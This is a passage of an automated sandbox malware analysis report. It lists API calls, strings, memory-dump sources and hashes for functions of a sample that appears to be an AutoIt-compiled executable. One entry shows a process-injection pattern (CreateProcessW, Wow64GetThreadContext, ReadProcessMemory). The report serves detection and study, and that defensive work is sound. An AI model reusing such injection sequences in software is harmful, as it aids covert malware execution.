                                                • Instruction Fuzzy Hash: 3E219371A20258AFDF41EF94C845BEE7BFCAF49305F40805AE405B7241DBB45A5D8FA1
                                                Function 002AFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                Download Yara Rule
                                                APIs
                                                • __CxxThrowException@8.LIBVCRUNTIME ref: 002B0668
                                                  • Part of subcall function 002B32A4: RaiseException.KERNEL32(?,?,?,002B068A,?,00361444,?,?,?,?,?,?,002B068A,00291129,00358738,00291129), ref: 002B3304
                                                • __CxxThrowException@8.LIBVCRUNTIME ref: 002B0685
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Exception@8Throw$ExceptionRaise
                                                • String ID: Unknown exception
                                                • API String ID: 3476068407-410509341
                                                • Opcode ID: 0218cde074c90948f6e0315ef4fc0f5c0ee5f8ab45e271e1555f2ced0d859b47
                                                • Instruction ID: 250b25e098943570e8e3f27e773d719083ed9c3b9a583ade72766a85e6fb1f43
                                                • Opcode Fuzzy Hash: 0218cde074c90948f6e0315ef4fc0f5c0ee5f8ab45e271e1555f2ced0d859b47
                                                • Instruction Fuzzy Hash: B6F0C83492020D77CF16BAA4D886CDF776C5E00390B604171F924955A2EF71DA35CE80
                                                Function 00303017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0030302F
                                                • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00303044
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Temp$FileNamePath
                                                • String ID: aut
                                                • API String ID: 3285503233-3010740371
                                                • Opcode ID: 33a067690fdb515189463d1089fcaef44e1b67cc2c4d91c7905bc7d1880ce210
                                                • Instruction ID: 5dc47c6ccbfd0d41557645fb92326a935b5ec09f00c863dfc75ba4ba77c4ff2a
                                                • Opcode Fuzzy Hash: 33a067690fdb515189463d1089fcaef44e1b67cc2c4d91c7905bc7d1880ce210
                                                • Instruction Fuzzy Hash: 22D05EB2500328A7DE30A7A4AC0EFCB3A6CDB04751F4006A1BA55E20A1DFB09985CAD0
                                                Function 00317F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 003182F5
                                                • TerminateProcess.KERNEL32(00000000), ref: 003182FC
                                                • FreeLibrary.KERNEL32(?,?,?,?), ref: 003184DD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$CurrentFreeLibraryTerminate
                                                • String ID:
                                                • API String ID: 146820519-0
                                                • Opcode ID: 5cf4426431955e09faf7b916fa765e96a363840d3c3f2ac78d74483ad80bac8c
                                                • Instruction ID: f33e7fa984718a8333080626f2b0ebb3dd4799ba832a2e53316efadcbf986c00
                                                • Opcode Fuzzy Hash: 5cf4426431955e09faf7b916fa765e96a363840d3c3f2ac78d74483ad80bac8c
                                                • Instruction Fuzzy Hash: 40128C719083019FC715DF28C484B6ABBE5FF89314F15895DE8998B252DB30ED86CF92
                                                Function 002910F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00291BF4
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00291BFC
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00291C07
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00291C12
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00291C1A
                                                  • Part of subcall function 00291BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00291C22
                                                  • Part of subcall function 00291B4A: RegisterWindowMessageW.USER32(00000004,?,002912C4), ref: 00291BA2
                                                • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0029136A
                                                • OleInitialize.OLE32 ref: 00291388
                                                • CloseHandle.KERNEL32(00000000,00000000), ref: 002D24AB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                • String ID:
                                                • API String ID: 1986988660-0
                                                • Opcode ID: c51019b83609d0eed6a04f3a82daa906eaf0a95e039b375f73afbcf35e59e91f
                                                • Instruction ID: c0715901b7e0164eaff67f060f211640c2647fa66403354364352f78f98cbbec
                                                • Opcode Fuzzy Hash: c51019b83609d0eed6a04f3a82daa906eaf0a95e039b375f73afbcf35e59e91f
                                                • Instruction Fuzzy Hash: 5C71DCB89213018EC787DF7AE855659BAF8BB8A344B5CC22AD60BC7261EBB04450CF45
                                                Function 002FC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00293923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00293A04
                                                • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 002FC259
                                                • KillTimer.USER32(?,00000001,?,?), ref: 002FC261
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 002FC270
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: IconNotifyShell_Timer$Kill
                                                • String ID:
                                                • API String ID: 3500052701-0
                                                • Opcode ID: 6986c61fece4ea91e51cbadbd92a203ff363f1238c0fdf75f6aa1cfa1ec14e4f
                                                • Instruction ID: 83fcd763447ac3b5847bd4949161ce4d6044c488e0fcbe76f445c54103ec943a
                                                • Opcode Fuzzy Hash: 6986c61fece4ea91e51cbadbd92a203ff363f1238c0fdf75f6aa1cfa1ec14e4f
                                                • Instruction Fuzzy Hash: 6331E37091034CAFEB328F648955BEBFBECAF02344F1404AED6DA93241C7B45A94CB51
                                                Function 002C86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • CloseHandle.KERNELBASE(00000000,00000000,?,?,002C85CC,?,00358CC8,0000000C), ref: 002C8704
                                                • GetLastError.KERNEL32(?,002C85CC,?,00358CC8,0000000C), ref: 002C870E
                                                • __dosmaperr.LIBCMT ref: 002C8739
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseErrorHandleLast__dosmaperr
                                                • String ID:
                                                • API String ID: 2583163307-0
                                                • Opcode ID: ecec73210f00c5637aa605fad307512f87f72db0779ff4a88dd07f2cf1079203
                                                • Instruction ID: 9fbc284a29320f4b8c13bd798512b3d4b5f572520b508491f32196d7accbc30a
                                                • Opcode Fuzzy Hash: ecec73210f00c5637aa605fad307512f87f72db0779ff4a88dd07f2cf1079203
                                                • Instruction Fuzzy Hash: 8401AB32A30A7026C22566306845F7F674C4B81778F39834DF9088B0D2DEE0ECE18580
                                                Function 0029DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • TranslateMessage.USER32(?), ref: 0029DB7B
                                                • DispatchMessageW.USER32(?), ref: 0029DB89
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0029DB9F
                                                • Sleep.KERNEL32(0000000A), ref: 0029DBB1
                                                • TranslateAcceleratorW.USER32(?,?,?), ref: 002E1CC9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Message$Translate$AcceleratorDispatchPeekSleep
                                                • String ID:
                                                • API String ID: 3288985973-0
                                                • Opcode ID: 1491f7e59b8dcf2ecaf7a34c04d448191219287ea17350cec6c6c307678d954b
                                                • Instruction ID: aa68bb92875669118e5d3a74fd6a4fe0d54ed0aa5c5f395ce0e9a5514531eea7
                                                • Opcode Fuzzy Hash: 1491f7e59b8dcf2ecaf7a34c04d448191219287ea17350cec6c6c307678d954b
                                                • Instruction Fuzzy Hash: 67F05E306643819BEB30CB618C59FEA73BCEB45310F505A29E65AC30C0DB70A4999B26
                                                Function 00302FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00302CD4,?,?,?,00000004,00000001), ref: 00302FF2
                                                • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00302CD4,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00303006
                                                • CloseHandle.KERNEL32(00000000,?,00302CD4,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0030300D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: File$CloseCreateHandleTime
                                                • String ID:
                                                • API String ID: 3397143404-0
                                                • Opcode ID: e8c29ba4aec61e4eb6dcf0d16c25a68121315b6c5525cf45274fcc095a003c15
                                                • Instruction ID: 35c6c02c72a71356ed82b01f0b5806cef946d9c6cfb1196bb1a44cf403e8ba72
                                                • Opcode Fuzzy Hash: e8c29ba4aec61e4eb6dcf0d16c25a68121315b6c5525cf45274fcc095a003c15
                                                • Instruction Fuzzy Hash: 50E0863629131077D2321759BC0EF8F3A1CD786B71F114214F719750D146A0251242A8
                                                Function 002A1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON
                                                Download Yara Rule
                                                APIs
                                                • __Init_thread_footer.LIBCMT ref: 002A17F6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Init_thread_footer
                                                • String ID: CALL
                                                • API String ID: 1385522511-4196123274
                                                • Opcode ID: 12021ec16edb3617154017500f677e72da6967593815f6a7f1d5e56a804c0a3b
                                                • Instruction ID: effaf7392b4d6b4b40d0bc2217c9ee12b05346a8a808eeeb45f06a0f639fdbb9
                                                • Opcode Fuzzy Hash: 12021ec16edb3617154017500f677e72da6967593815f6a7f1d5e56a804c0a3b
                                                • Instruction Fuzzy Hash: 6022CB706283429FC714CF14C484A2ABBF5BF9A364F54895DF4968B3A1DB71E861CF82
                                                Function 00306EF1 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 297COMMON
                                                Download Yara Rule
                                                APIs
                                                • _wcslen.LIBCMT ref: 00306F6B
                                                  • Part of subcall function 00294ECB: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294EFD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LibraryLoad_wcslen
                                                • String ID: >>>AUTOIT SCRIPT<<<
                                                • API String ID: 3312870042-2806939583
                                                • Opcode ID: 348199ebd9c767120db9d11cbf05ef13afddd835c17be8c33cc6e89f4e619a7a
                                                • Instruction ID: d82b60e3546960e3805c2013b8cdb5840aaba20d8cbe6b1d56ac9a8cadac236e
                                                • Opcode Fuzzy Hash: 348199ebd9c767120db9d11cbf05ef13afddd835c17be8c33cc6e89f4e619a7a
                                                • Instruction Fuzzy Hash: E3B1A2315283019FCB15EF24C4A196EB3E5BF94300F45895DF896972A2EB30ED59CF92
                                                Function 00D53DD5 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 00D54593
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00D54629
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00D5464B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1460303894.0000000000D52000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D52000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d52000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction ID: 46b7753818fe639cc628047858c8bf35e5618dc05e5811b28dfd42c5812c6060
                                                • Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
                                                • Instruction Fuzzy Hash: 3312FE20E18658C6EB24DF60D8507DEB232EF68301F1090E9950DEB7A5E77A4F85CF5A
                                                Function 002AFC70 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ProtectVirtual
                                                • String ID:
                                                • API String ID: 544645111-0
                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction ID: b16b495d42b7d39af5c7d0690b53af7f75724f84135c3165d7ee24f8fabd8afe
                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                • Instruction Fuzzy Hash: 2A311874A1010ADBC759CF99D680969F7A2FF4A310B2482A6E809CF651DB35EDE1CBC0
                                                Function 00294ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00294E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00294EDD,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E9C
                                                  • Part of subcall function 00294E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00294EAE
                                                  • Part of subcall function 00294E90: FreeLibrary.KERNEL32(00000000,?,?,00294EDD,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294EC0
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294EFD
                                                  • Part of subcall function 00294E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,002D3CDE,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E62
                                                  • Part of subcall function 00294E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00294E74
                                                  • Part of subcall function 00294E59: FreeLibrary.KERNEL32(00000000,?,?,002D3CDE,?,00361418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00294E87
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Library$Load$AddressFreeProc
                                                • String ID:
                                                • API String ID: 2632591731-0
                                                • Opcode ID: 0dadf6315bf0b4a64b3c60911a4d0315098f9acc9f77b0e7ec8c00b5dd6aaaac
                                                • Instruction ID: c10c14dc5bb987e952c16a76376624ccbfcaaa3cfea71f08f6eaef1a9bc9519c
                                                • Opcode Fuzzy Hash: 0dadf6315bf0b4a64b3c60911a4d0315098f9acc9f77b0e7ec8c00b5dd6aaaac
                                                • Instruction Fuzzy Hash: 3511E732630206AACF25FF60DC02FAD77A59F40754F10842EF582A61D1EE749E269B50
                                                Function 002C8402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: __wsopen_s
                                                • String ID:
                                                • API String ID: 3347428461-0
                                                • Opcode ID: fa9e0f1045cb9ec96d8b45ebcb7887f183d92ed47daf98379db5263a43d98f14
                                                • Instruction ID: 91ee184f496e5e035ea4056f8aa7839476bdf632846b8f3916f337564eaca4d7
                                                • Opcode Fuzzy Hash: fa9e0f1045cb9ec96d8b45ebcb7887f183d92ed47daf98379db5263a43d98f14
                                                • Instruction Fuzzy Hash: 5011487190410AAFCB19DF58E941E9A7BF9EF48300F108169F808AB312DA30DA21CBA5
                                                Function 002C5000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002C4C7D: RtlAllocateHeap.NTDLL(00000008,00291129,00000000,?,002C2E29,00000001,00000364,?,?,?,002BF2DE,002C3863,00361444,?,002AFDF5,?), ref: 002C4CBE
                                                • _free.LIBCMT ref: 002C506C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AllocateHeap_free
                                                • String ID:
                                                • API String ID: 614378929-0
                                                • Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
                                                • Instruction ID: 36237e4ae68254038da4d07dbbc1e6e7dbd036f850d2f734439f990d24356630
                                                • Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
                                                • Instruction Fuzzy Hash: F7012672214705ABE3318E659881F5AFBE8FB89370F25061DE58483280EA70A945CAB4
                                                Function 002BE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
                                                • Instruction ID: 04e08bfec3ce9cebd5c5b45508e23641068da055b3468e28706671c89a219a72
                                                • Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
                                                • Instruction Fuzzy Hash: D8F0F432530E149ADA313E698C05FDA379C9F523B4F110719F921921D2DF7098258EA6
                                                Function 002C4C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • RtlAllocateHeap.NTDLL(00000008,00291129,00000000,?,002C2E29,00000001,00000364,?,?,?,002BF2DE,002C3863,00361444,?,002AFDF5,?), ref: 002C4CBE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
